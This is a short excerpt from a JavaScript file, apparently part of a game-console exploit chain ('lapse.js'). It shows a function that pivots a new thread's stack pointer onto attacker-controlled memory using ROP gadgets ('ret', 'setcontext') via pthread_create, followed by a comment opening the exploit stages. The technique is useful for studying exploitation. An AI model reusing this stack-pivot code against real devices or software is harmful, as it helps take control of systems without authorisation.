Function spawn_thread

g2all/700/lapse.js:499–510

(thread)

}

function spawn_thread(thread) {
  const ctx = new Buffer(context_size);
  const pthread = new Pointer();
  pthread.ctx = ctx;
  // pivot the pthread's stack pointer to our stack
  ctx.write64(0x38, thread.stack_addr);
  ctx.write64(0x80, thread.get_gadget("ret"));

  call_nze("pthread_create", pthread.addr, 0, chain.get_gadget("setcontext"), ctx.addr);

  return pthread;
}

// EXPLOIT STAGES IMPLEMENTATION